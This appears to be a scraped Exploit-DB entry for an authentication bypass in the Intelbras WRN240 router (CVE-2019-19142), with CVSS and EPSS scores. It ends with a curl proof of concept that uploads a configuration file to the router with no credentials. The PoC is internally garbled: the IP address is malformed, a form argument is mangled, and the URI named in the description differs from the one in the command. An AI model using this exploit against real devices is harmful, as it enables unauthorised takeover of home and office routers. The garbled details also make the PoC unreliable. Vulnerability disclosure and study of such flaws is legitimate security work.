Intelbras Wireless N 150Mbps WRN240 - Authentication Bypass (Config Upload)

2020-03-0200:00:00

Elber Tavares

www.exploit-db.com

134

5 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:L/Au:N/C:N/I:P/A:N

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

HIGH

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

0.015 Low

EPSS

Percentile

86.8%

JSON

# Exploit Title: Intelbras Wireless N 150Mbps WRN240 - Authentication Bypass (Config Upload)
# Date: 2019-11-20
# Exploit Author: Elber Tavares
# Vendor Homepage:  https://www.intelbras.com/
# Software Link:  http://en.intelbras.com.br/node/1033
# Version: Intelbras Wireless N 150Mbps - WRN240
# Tested on: linux, windows
# CVE: CVE-2019-19142

Intelbras WRN240 devices do not require authentication to replace the
firmware via a POST request to the incoming/Firmware.cfg URI.

REFS:
 https://fireshellsecurity.team/hack-n-routers/
 https://github.com/ElberTavares/routers-exploit/


Poc:
curl -i -X POST -H "Content-Type: multipart/form-data" -H "Referer:
http://192.168.0.1/userRpm/BakNRestoreRpm.htm" -F [email protected]
http://192.1680.1/incoming/RouterBakCfgUpload.cfg